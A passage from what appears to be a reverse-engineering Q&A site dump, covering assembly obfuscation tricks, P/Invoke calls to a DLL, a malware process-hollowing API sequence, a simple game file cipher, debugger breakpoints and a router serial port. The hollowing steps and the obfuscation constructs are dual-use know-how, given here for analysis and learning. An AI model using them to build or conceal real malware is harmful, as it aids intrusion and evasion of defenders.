mov esp, ebp&#xA;    jnz loc_abcd&#xA;    xchg edi, esi&#xA;    mov cl, cl&#xA;    xchg esi, edi&#xA;    mov di, di&#xA;    jz loc_dcba ; followed by a jmp to loc_abcd&#xA;    cpuid&#xA;    ret&#xA;&lt;/code&gt;&#xA;In the example, the only &quot;real&quot; statement is the mov esp, ebp.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Complicate simple assembly constructs. You may write a simple jmp as a combination of a push and a ret. Or, if you don't like the &quot;ret&quot; statement, you may replace it by (in 64-bit code):&#xA;&lt;code&gt;&#xA;lea     rsp, [rsp+8]&#xA;jmp   qword ptr[rsp-8]&#xA;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Many more, and much more complicated examples can be found. If you want to dive into this matter, you need practice, as in all SW reversing. Get a protected and/or obfuscated binary like a game or a dongle protector and train. In the literature (e.g. the excellent IdaPro book by Chris Eagle) you may find some obfuscation constructs as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have fun!&lt;/p&gt;&#xA;" OwnerUserId="12800" LastActivityDate="2016-04-23T00:00:08.733" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12510" PostTypeId="1" CreationDate="2016-04-23T03:16:53.047" Score="2" ViewCount="444" Body="&lt;p&gt;I have a customized DLL in a large software. The DLL compress/decompress image files. I need to use the DLL separately to get my important images back to decompressed version. &#xA;I can see its function in IDA pro, but I am not sure whether my finding is correct. And I don't know how to call the function properly in C#.&#xA;The attached pictures is my IDA pro result and my test C# program(of course the program doesn't work).&#xA;Please help me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PMSyG.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PMSyG.jpg&quot; alt=&quot;DLL function in IDA Pro&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fN4yF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fN4yF.png&quot; alt=&quot;Test C# program&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15867" LastActivityDate="2016-04-24T13:13:17.330" Title="Question of analysing function of DLL and write program to call it" Tags="|ida|dll|c#|" AnswerCount="1" CommentCount="2" ClosedDate="2016-04-26T14:03:18.750" ContentLicense="CC BY-SA 3.0" />
  <row Id="12511" PostTypeId="1" CreationDate="2016-04-23T14:29:39.423" Score="3" ViewCount="1375" Body="&lt;p&gt;I'm reversing a malware which uses a variant of Process Hollowing to create a process which I can't dump. I don't know what I'm doing wrong. I always see the suggestion to stop at GetContextThread , but this process hollowing doesn't call to that Api.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the exactly what happens:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;CreateProcessA: creates a new process and the process creation flag            0x00000004 is used to create the process in the suspended state&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;ReadProcessMemory: reads image base of the suspended process&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;NtCreateSection: creates two read/write/execute sections &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;ZwMapViewOfSection: maps the read/write/execute sections into the malware’s address space&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;ZwMapViewOfSection: maps the second section into the suspended process’s address space (this section is therefore shared between both processes).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;ReadProcessMemory: reads image base of the suspended process’s image into section 1&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;ReadProcessMemory: reads image base of the malware’s image into section 2&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;NtMapViewOfSection: overwrites the suspended process's entry point code by mapping section 1 to the new process base address&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;ResumeThread: resumes the thread of the suspended process executing the injected code&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Knowing this, and due english its my not maternal language and there are too much technical words... which call of the apis above should I have a look to find the EP? Probably the last NtMapViewOfSection ?&lt;/p&gt;&#xA;" OwnerUserId="15886" LastEditorUserId="15886" LastEditDate="2016-04-23T17:36:14.357" LastActivityDate="2016-08-21T18:46:35.320" Title="Dump a child process created by malware with an ALTERNATIVE process hollowing process" Tags="|ollydbg|malware|dumping|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12512" PostTypeId="2" ParentId="12511" CreationDate="2016-04-23T15:21:23.617" Score="2" Body="&lt;p&gt;The technique you described above is known as &lt;a href=&quot;https://www.google.com/?q=%22dynamic%20forking%22%20OR%20%22process%20hollowing%22&quot; rel=&quot;nofollow noreferrer&quot;&gt;&quot;dynamic forking&quot; or &quot;process hollowing&quot;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find the entry point of the child process by following the steps described in &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/8431/1562&quot;&gt;https://reverseengineering.stackexchange.com/a/8431/1562&lt;/a&gt;, though I'd recommend setting a breakpoint on &lt;a href=&quot;http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FThread%2FThread%20Context%2FNtSetContextThread.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;NtSetContextThread()&lt;/code&gt;&lt;/a&gt; instead of on &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms680632.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;SetThreadContext()&lt;/code&gt;&lt;/a&gt; since the malware may skip the latter and instead directly call the former.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2016-04-23T15:21:23.617" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="12514" PostTypeId="1" AcceptedAnswerId="12515" CreationDate="2016-04-24T08:35:30.640" Score="1" ViewCount="859" Body="&lt;p&gt;Since few days, Ive started to Reverse Engineer a little game. That game includes some data files, where the 3d files are stored. I want to write a little Software, where I can add own 3d models, to improve (cutomize) that game.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Luckily the game is compiled in debug mode, so I can clearly see all method names, c++ classes, etc., so I clearly know what happens in particular places in the code. Since I am new on reverse engineering (but not new in development), Ive figured out a lot of the code base and reimplemented many things related to the &quot;Data management of the game&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see, in the disassembled code, there is a class which decrypts a file. Two methods are used. Initializing the decryptor and reading a character. Since I am not good at &quot;reverse engineering&quot; and crypto algorithms (I don´t even know whether the used crypto is a know algorithm or an own one), I hoped you guys could help me out to figure out what happens exactly on those methods, so I can re implement that in c++.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am going to include the asm sections and the pseudo c code (which my decompiler has produced). Notice that these methods are part of a class. So I will give you some additional information of what Ive figured out so far. I hope you guys could help me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Decryptor init method:&#xA;(edi + 0x100 + offset) seems to be a char array of size 128 byte, but I couldn´t figure out the rest (It seems to be worked with char array, but like mentioned, I dont have that much experience with RE)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ASM Code:&#xA;&lt;a href=&quot;http://pastebin.com/LiM10Cr5&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/LiM10Cr5&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pseudo-C:&#xA;&lt;a href=&quot;http://pastebin.com/1ewfxAh1&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/1ewfxAh1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Decryptor decrypt next char method:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(edi + 0x200) seems to be a char (byte) where the next char or something similar is stored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ASM Code:&#xA;&lt;a href=&quot;https://pastebin.com/aWp8LYua&quot; rel=&quot;nofollow&quot;&gt;https://pastebin.com/aWp8LYua&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pseudo-C:&#xA;&lt;a href=&quot;https://pastebin.com/u4w5yGYS&quot; rel=&quot;nofollow&quot;&gt;https://pastebin.com/u4w5yGYS&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need some more information, like mentioned, the application is fully compiled in debug mode, so its like a dream... I have all labels, all vtables, all information...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also have a read method, where these both methods are gonna called, but I guess I have reverse engineered that method properly (I hope so)...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks :)&lt;/p&gt;&#xA;" OwnerUserId="15890" LastEditorUserId="4154" LastEditDate="2016-04-24T08:44:09.930" LastActivityDate="2016-04-24T09:14:40.973" Title="Reverse Engineering Crypto Methods" Tags="|cryptography|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12515" PostTypeId="2" ParentId="12514" CreationDate="2016-04-24T09:14:40.973" Score="2" Body="&lt;p&gt;The crypto definitely isn't a &quot;good&quot; one. Check what happens in your &lt;code&gt;nextDecrypt&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The nextDecrypt function&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There's a variable at &lt;code&gt;ebx+0x200&lt;/code&gt; which gets loaded into &lt;code&gt;edx&lt;/code&gt;. This variable gets incremented by one, then written back to &lt;code&gt;ebx+0x200&lt;/code&gt;, and this variable is also used to be &lt;code&gt;xor&lt;/code&gt;ed with some byte (low byte of &lt;code&gt;ecx&lt;/code&gt;, i.e. &lt;code&gt;cl&lt;/code&gt;) before that byte is returned. So we have an algorithm that, very trivially, &lt;code&gt;xor&lt;/code&gt;s every byte, with the value that's &lt;code&gt;xor&lt;/code&gt;ed being incremented every time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a bit of special casing; the &lt;code&gt;xor&lt;/code&gt; value avoids the value &lt;code&gt;0&lt;/code&gt;; if the value is &lt;code&gt;0xff&lt;/code&gt;, it's set to &lt;code&gt;1&lt;/code&gt; instead of being incremented. Also, the value that's returned gets negated, and your decompiler made an error here; the &lt;code&gt;!&lt;/code&gt; operator should have been a &lt;code&gt;~&lt;/code&gt; as that's what the &lt;code&gt;not&lt;/code&gt; assembly instruction does. (Another reason why you should use decompiled C as a first glance, but always look at assembly code to understand what's really going on).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Initialization&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The initialization function seems to be a bit more complicated, until you realize that there are 8 identical blocks in the &lt;code&gt;do..while&lt;/code&gt; loop; probably an inner loop that the compiler unrolled. It seems to shuffle around the bytes a bit at &lt;code&gt;[edx+0x100]&lt;/code&gt;, and create an index map at &lt;code&gt;[ecx]&lt;/code&gt;. The last thing it does seems to initialize the &lt;code&gt;xor&lt;/code&gt; value from the &lt;code&gt;nextDecrypt&lt;/code&gt; to &lt;code&gt;0x7f&lt;/code&gt;. But something seems to be wrong in the first part; your code accesses &lt;code&gt;arg_4&lt;/code&gt; but there is just an &lt;code&gt;arg_0&lt;/code&gt;. And this &lt;code&gt;arg_4&lt;/code&gt; seems to influence the step with of the byte shuffler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is about as far as it makes sense to statically analyze the code; what a reverser should do at this point is run the thing in a debugger, and single-step through those 2 functions, checking how the data buffers change, to verify those assumptions. For example, i'd verify the &quot;initializing the xor value to 0x7f&quot; assumption can't be checked from your code alone, but in a debugger, you could check if the addresses are indeed the same. Also, it would be interesting to know what some real-world values of these arguments are, and where they come from.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Summary&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;So, to sum it up: This seems to be a &quot;crypto&quot; mechanism the author invented, not a standard one; it's not a complicated one; and you'll need some dynamic analysis of the software to get the details right of what it does.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Additional note&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In cases like this, it makes sense to give as much information as possible, for example, the name of the game you're hacking. For example, loading up the binary in IDA makes analysis much easier than plaintext sourcecode, and people might actually be able to run the code and test a few assumptions on it.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2016-04-24T09:14:40.973" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12516" PostTypeId="1" AcceptedAnswerId="12522" CreationDate="2016-04-24T12:47:53.810" Score="0" ViewCount="148" Body="&lt;p&gt;how calculate size of memory that allocated from create specific windows object&#xA;e.g.&#xA;how memory allocated when createsemaphore API is called?&#xA;there are any document that describe for all objects?&lt;/p&gt;&#xA;" OwnerUserId="12454" LastActivityDate="2016-04-24T21:42:19.040" Title="how calculate size of memory that allocated from create specific windows object?" Tags="|debugging|windbg|driver|" AnswerCount="1" CommentCount="0" ClosedDate="2016-04-27T20:58:06.667" ContentLicense="CC BY-SA 3.0" />
  <row Id="12517" PostTypeId="2" ParentId="12510" CreationDate="2016-04-24T13:13:17.330" Score="2" Body="&lt;p&gt;First of all, follow the advice of the two commentors and investigate on the semantics of the ArcCompress method. In case it is really returning a C file pointer, what would you do with it in C# ?? Not much, I assume. You wouldn't probably be able to close the file there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But anyway, here are two possibilities to call your ArcCompress method from C#. As a small test, first a fictive simple ArcCompress C dll function, as a test facility to see whether the pointers are marshalled correctly. The function must be declared as extern &quot;C&quot; to avoid name mangling.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Next line is from the header file&#xA;//#define PINVOKE_DLL_API __declspec(dllexport)&#xA;PINVOKE_DLL_API FILE* __cdecl ArcCompress(char* a1, char* a2, int a3)&#xA;{&#xA;    a1[2] = 0xfe;&#xA;    FILE* f = fopen(&quot;D:\\testfile.bin&quot;, &quot;wb+&quot;);&#xA;    fwrite(a1, a3, 1, f);&#xA;    return f;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This simple function accepts your byte arrays, modifies one byte and writes it into a file, returning the file pointer of the open file.&#xA;And here come two possibilities to call this function from C# (In my example, the dll is named &quot;pinvoke_dll.dll&quot; instead of &quot;Arc.dll&quot;):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The buffer parameters are ordinary references, not much special here. It should be checked however if there may arise problems with the .NET garbage collector. The arrays are assumed as having been initialized.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[DllImport(&quot;pinvoke_dll.dll&quot;, CallingConvention = CallingConvention.Cdecl)]&#xA;public static extern IntPtr ArcCompress(ref byte a,  ref byte b, Int32 c);&#xA;&#xA;private void button1_Click(object sender, EventArgs e)&#xA;{&#xA;    IntPtr f = ArcCompress(ref a[0], ref b[0], a.Length );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The buffer parameters are C# pointers being treated just like ordinary C-pointers. In this case you must tag your method as &quot;unsafe&quot; (and check the corresponding checkbox in the project properties), and mark the pointers as fixed, thus informing the garbage collector not to touch them.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;    public unsafe partial class Form1 : Form&#xA;    {&#xA;        public Form1()&#xA;        {&#xA;            InitializeComponent();&#xA;        }&#xA;        [DllImport(&quot;pinvoke_dll.dll&quot;, CallingConvention = CallingConvention.Cdecl)]&#xA;        public static extern IntPtr ArcCompress(byte* p1, byte* p2, Int32 c);&#xA;        byte[] a = new byte[10]{1,2,3,4,5,6,7,8,9,0};&#xA;        byte[] b = new byte[10]{0,9,8,7,6,5,4,3,2,1};&#xA;        private void button1_Click(object sender, EventArgs e)&#xA;        {&#xA;            fixed (byte* p1 = &amp;amp;a[0], p2 = &amp;amp;b[0])&#xA;            {&#xA;                IntPtr f = ArcCompress(p1, p2, a.Length);&#xA;            }&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&#xA;BTW, in this way you may apply pointer arithmetics in C# just like in C. You must have in mind that you are in an unsafe context, just like in C or C++.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have fun!&lt;/p&gt;&#xA;" OwnerUserId="12800" LastActivityDate="2016-04-24T13:13:17.330" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12518" PostTypeId="1" AcceptedAnswerId="12520" CreationDate="2016-04-24T16:33:36.510" Score="0" ViewCount="175" Body="&lt;p&gt;I am debugging a 32-bit program on a 64-bit MS Windows 7 using IDA Pro 6.8 as seen in the image below:&lt;a href=&quot;https://i.stack.imgur.com/hhfGI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hhfGI.png&quot; alt=&quot;IDAproScreenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The instruction highlighted in the trace window (upper-left part of screen-shot) is supposed to MOV a word from some memory address in the &lt;code&gt;.text&lt;/code&gt; segment (at the address given by the &lt;code&gt;EDX&lt;/code&gt; register), into the &lt;code&gt;EBX&lt;/code&gt; register.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;EDX = 0x013D4021&lt;/code&gt; and the bytes stored at this address are &lt;code&gt;50 53 51 52&lt;/code&gt;, shown in the HexView of IDA in the lower half of the screen-shot above. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, after executing the highlighted instruction &lt;code&gt;mov ebx, [edx]&lt;/code&gt; I was expecting that &lt;code&gt;EBX = 0x52515350&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, as you can see in the Result column of the trace window this is not true because &lt;code&gt;EBX = 0x525153CC&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone explain why the least significant byte in &lt;code&gt;EBX&lt;/code&gt; is equal to &lt;code&gt;CC&lt;/code&gt; instead of &lt;code&gt;50&lt;/code&gt;? Is it a bug in IDA or is it caused by the OS?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: I tried the same program with IDA Pro 6.9 and encountered the same behavior.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; If you also have this issue and still want to debug the program, use hardware breakpoints. Hardware breakpoints do not modify the code like in the example above. IDA Pro allows enabling hardware breakpoints: &lt;a href=&quot;http://hex-rays.com/products/ida/support/idadoc/1407.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;hex-rays.com/products/ida/support/idadoc/1407.shtml&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3696" LastEditorUserId="3696" LastEditDate="2016-04-26T09:06:48.450" LastActivityDate="2016-04-26T09:06:48.450" Title="Unexpected memory value MOVed from text segment to register in Windows x86 32-bit program" Tags="|ida|windows|debugging|x86|memory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12519" PostTypeId="1" CreationDate="2016-04-24T16:52:01.177" Score="2" ViewCount="83" Body="&lt;p&gt;I was wondering if there's a way to insert native win32 controls(button, static, etc.) into a MFC application during runtime. I was abled to embed my dll but everytime I create a new control via CreateWindowEx it is being shown as a white box for a split second and removed instantly. Here's how I'm creating the window:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HWND newButton = CreateWindowEx(NULL, &quot;BUTTON&quot;, &quot;New button&quot;, WS_VISIBLE | WS_CHILD, 100, 100, 150, 200, mainWnd, NULL, 0, 0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13325" LastActivityDate="2016-04-24T16:52:01.177" Title="Inserting Win32 controls into MFC application" Tags="|winapi|mfc|" AnswerCount="0" CommentCount="0" ClosedDate="2016-04-26T17:27:15.757" ContentLicense="CC BY-SA 3.0" />
  <row Id="12520" PostTypeId="2" ParentId="12518" CreationDate="2016-04-24T17:43:02.430" Score="1" Body="&lt;p&gt;&lt;code&gt;CC&lt;/code&gt; is a single-byte encoding of &lt;code&gt;int 3&lt;/code&gt;, which is the standard way of breaking to the debugger. In particular, debuggers often use it for break points and for single-stepping: they simply replace the first instruction byte with &lt;code&gt;CC&lt;/code&gt; and wait for the interrupt. Then they write back the original instruction byte.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hexdump of the memory area around &lt;code&gt;[edx]&lt;/code&gt; definitely looks like code, and the bytes loaded into &lt;code&gt;ebx&lt;/code&gt; look like &lt;code&gt;push&lt;/code&gt; opcodes. So it seems reasonable to suppose that either IDA is playing around with &lt;code&gt;int 3&lt;/code&gt; or someone else does... If your target program is aliasing memory then this could explain the whole confusion.&lt;/p&gt;&#xA;" OwnerUserId="10027" LastActivityDate="2016-04-24T17:43:02.430" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12522" PostTypeId="2" ParentId="12516" CreationDate="2016-04-24T21:42:19.040" Score="3" Body="&lt;p&gt;The allocation for most executive objects (like semaphores) is done inside the &lt;code&gt;ObCreateObject()&lt;/code&gt; function. As you can see in &lt;a href=&quot;http://www.osronline.com/showThread.cfm?link=3787#T2&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;ObCreateObject()&lt;/code&gt;'s prototype&lt;/a&gt;, one of the parameters is &lt;code&gt;ObjectSizeToAllocate&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a function like &lt;a href=&quot;http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSemaphore%2FNtCreateSemaphore.html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;NtCreateSemaphore()&lt;/code&gt;&lt;/a&gt; is called, it calls &lt;code&gt;ObCreateObject()&lt;/code&gt; with the size of the kernel object to be created (for example, &lt;a href=&quot;http://msdn.moonsols.com/win7rtm_x86/KSEMAPHORE.html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;sizeof(KSEMAPHORE)&lt;/code&gt;&lt;/a&gt;) as the value for &lt;code&gt;ObjectSizeToAllocate&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the easiest way to answer your question is to set a breakpoint on &lt;code&gt;ObCreateObject()&lt;/code&gt; and examine the value of &lt;code&gt;ObjectSizeToAllocate&lt;/code&gt; when it's called to create your object of interest.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2016-04-24T21:42:19.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12523" PostTypeId="1" CreationDate="2016-04-24T23:59:11.270" Score="7" ViewCount="1506" Body="&lt;p&gt;I'm trying to reverse engineer a 2Wire ADSL modem/router, mainly for practice. I opened it and found a serial port (with a header conveniently already in place) but I'm not getting any useful data out of it, only gibberish. The device does work (well enough to present its web UI), only this port is giving me trouble.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/graZe.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/graZe.jpg&quot; alt=&quot;Deciphered pinout&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why I'm pretty sure this is the right pinout:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;No other pins/pads anywhere on the board output anything that looks like data&lt;/li&gt;&#xA;&lt;li&gt;If I short Tx and Rx, or connect to my terminal and spam spacebar, it fails to boot up (LED stays red)&lt;/li&gt;&#xA;&lt;li&gt;The one NC pin looks the same on the oscilliscope as when it's not connected (slight noise instead of a steady 0V or 3V)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What I've tried:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Several baud rates: 1200, 1800, 2400, 4800, 9600, 19200, 38400, 57600, 115200, 230400, 460800, 500000, 921600, 960000&lt;/li&gt;&#xA;&lt;li&gt;Various combinations of parity and stop-bit settings&lt;/li&gt;&#xA;&lt;li&gt;Connecting it to a USB FTDI adapter&lt;/li&gt;&#xA;&lt;li&gt;Connecting it to the serial pins of a Raspberry Pi&lt;/li&gt;&#xA;&lt;li&gt;Adding pullup and pulldown resistors to Tx&lt;/li&gt;&#xA;&lt;li&gt;Inverting the Tx signal in hardware and in software&lt;/li&gt;&#xA;&lt;li&gt;Leaving the serial ground unconnected&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;No matter what, the data that comes in is gibberish, or nothing at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my scope it definitely &lt;em&gt;looks&lt;/em&gt; like data, jumping around between 0V and +3.3V for ~1/4 second at power on, then going to +3.3V and staying there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XSgxR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XSgxR.png&quot; alt=&quot;Signal analysis&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I just can't seem to find any combination of settings and connections that give me any coherent output. Am I missing something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(For the record, I do own this modem.)&lt;/p&gt;&#xA;" OwnerUserId="15897" LastActivityDate="2016-04-25T21:57:38.897" Title="Router's serial port only outputs garbage" Tags="|hardware|serial-communication|protocol|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12524" PostTypeId="1" AcceptedAnswerId="12527" CreationDate="2016-04-25T02:05:18.103" Score="1" ViewCount="1342" Body="&lt;p&gt;I am using &lt;code&gt;Pin&lt;/code&gt; for some execution monitoring tasks towards &lt;code&gt;x64 ELF&lt;/code&gt; binary code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;During the monitoring, for any memory write/read operation of the original code, I would like to record it as long as it refers the &lt;code&gt;heap&lt;/code&gt;. However, given a memory address, I have no idea whether it refers the &lt;code&gt;heap&lt;/code&gt; memory region or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One possible solution I can come up with is that, before every memory operation, I acquire the runtime memory region information of the target process, and check whether the current memory address is within the &lt;code&gt;heap&lt;/code&gt; region. This can be done by following the steps below inside the Pintool.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;acquire the process ID of monitored process (This step can use &lt;code&gt;Pin&lt;/code&gt; API &lt;code&gt;Pin_GetPid&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;read the process memory region information in &lt;code&gt;/proc/XXX/maps&lt;/code&gt; &lt;/li&gt;&#xA;&lt;li&gt;find the &lt;code&gt;heap&lt;/code&gt; memory region&lt;/li&gt;&#xA;&lt;li&gt;check whether the current address is within the &lt;code&gt;heap&lt;/code&gt; region&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;However, this is tedious and my test shows that this is extremely slow, as the size of memory &lt;code&gt;heap&lt;/code&gt; can change during the runtime which means I need to go through the above steps everytime before memory operation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I am wondering, does &lt;code&gt;Pin&lt;/code&gt; has APIs to provide the &lt;code&gt;heap&lt;/code&gt; memory region information? Or is there any solution more efficient that the above one? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;===================== update ===============================&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VGeAi.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VGeAi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3215" LastEditorUserId="3215" LastEditDate="2016-04-25T16:41:38.863" LastActivityDate="2018-12-27T08:20:07.787" Title="How to get the runtime memory region information when instrumenting using Pin?" Tags="|dynamic-analysis|pintool|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12525" PostTypeId="2" ParentId="12523" CreationDate="2016-04-25T06:31:10.180" Score="4" Body="&lt;p&gt;If this is data, then there should be a common clock, with the raising/falling edge signals all on individual ticks of that clock.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I scaled the bottom half of your scope output by 500% horizontally, and had gimp overlay a grid on it, playing with the width and shift of the grid until i found something that looks like it could be the clock (click the image to see it in full scale):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xOIJ9.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xOIJ9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So yes, this is probably serial data. And, if i understand the &quot;10 us&quot; display correctly, your white grid dotted lines are 10 us apart, which means my grid lines are 1.6 us apart, which means the bit rate should be somewhere around 1/0.0000016=625000 baud, which is different enough from your bit rates to prevent them from working. If you can, try setting the bit rate to something closer to 